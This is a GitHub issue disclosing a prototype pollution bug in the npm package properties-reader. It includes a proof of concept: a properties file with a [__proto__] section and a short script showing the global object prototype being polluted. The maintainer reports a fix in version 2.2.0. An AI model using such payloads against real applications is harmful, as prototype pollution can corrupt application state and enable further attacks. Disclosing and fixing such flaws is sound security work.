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Snyk - potential prototype pollution #40

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steveukx opened this issue Dec 30, 2020 · 1 comment
Closed

Snyk - potential prototype pollution #40

steveukx opened this issue Dec 30, 2020 · 1 comment

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@steveukx
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Steps to reproduce:

payload.properties

[__proto__]
polluted = polluted

poc.js:

var propertiesReader = require('properties-reader');

propertiesReader('./payload.properties');

console.log({}.polluted) // logs 'polluted'
@steveukx
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Fix released as 2.2.0 on npm

ms1111 added a commit to ms1111/properties that referenced this issue Jan 13, 2024
The return value of properties.path() had enumerable keys in 2.1.1 and
earlier. Starting in 2.2.0, the keys were no longer enumerable as part
of the change made for steveukx#40 in 0877cc8.

Fixes steveukx#58
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